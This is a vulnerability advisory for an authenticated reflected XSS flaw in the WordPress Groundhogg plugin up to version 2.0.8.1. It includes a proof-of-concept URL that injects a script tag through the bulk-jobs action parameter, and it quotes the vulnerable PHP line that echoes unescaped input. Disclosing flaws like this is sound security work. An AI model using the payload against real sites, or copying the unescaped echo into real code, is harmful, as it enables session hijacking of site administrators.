Wordpress Groundhogg <= 2.0.8.1 Authenticated Reflected XSS

Wordpress Groundhogg plugin with a version lower then 2.0.8.1 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.

Intial submission of the vulnerability

# Exploit Title: Wordpress Groundhogg <= 2.0.8.1 Authenticated Reflected XSS Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://www.groundhogg.io/
# Software Link: https://wordpress.org/plugins/groundhogg/
# Version: 2.0.8.1
# Tested on: Ubuntu 18.04 / Wordpress 5.3
 
1. Description:  
 
Wordpress Groundhogg plugin with a version lower then 2.0.8.1 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.

2. Proof of Concept: 
 
Reflected Cross-site scripting (XSS)
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?page=gh_bulk_jobs&action=gh_export_contacts<%2Fscript><script>alert(1)<%2Fscript>
- The response will contain:

```
bulk_action: 'groundhogg/bulk_job/gh_export_contacts</script><script>alert(1)</script>/ajax', items: bp.getItems(), the_end: bp.isLastOfThem() },
```

Detailed analysis of the vulnerability

On wp-content/plugins/groundhogg/includes/admin/bulk-jobs/class-wpgh-admin-bulk-job.php at line 217, we can observe that in the middle of <script> ... </script> tags there is an unescaped echo of user-supplied data in the form of URL paths.

$.ajax({
    type: "post",
    url: ajaxurl,
    dataType: 'json',
    data: { action: 'bulk_action_listener', bulk_action: '<?php echo "groundhogg/bulk_job/{$this->get_action()}/ajax" ?>', items: bp.getItems(), the_end: bp.isLastOfThem() },
    success: function( response ){

This vulnerability could be easily exploited by accessing example.com/wp-admin/admin.php?page=gh_bulk_jobs&action=gh_export_contacts<%2Fscript><script>alert(1)<%2Fscript> where example.com is your target.

How to fix

Update to the latest available version of the Groundhogg plugin.

Public appearances

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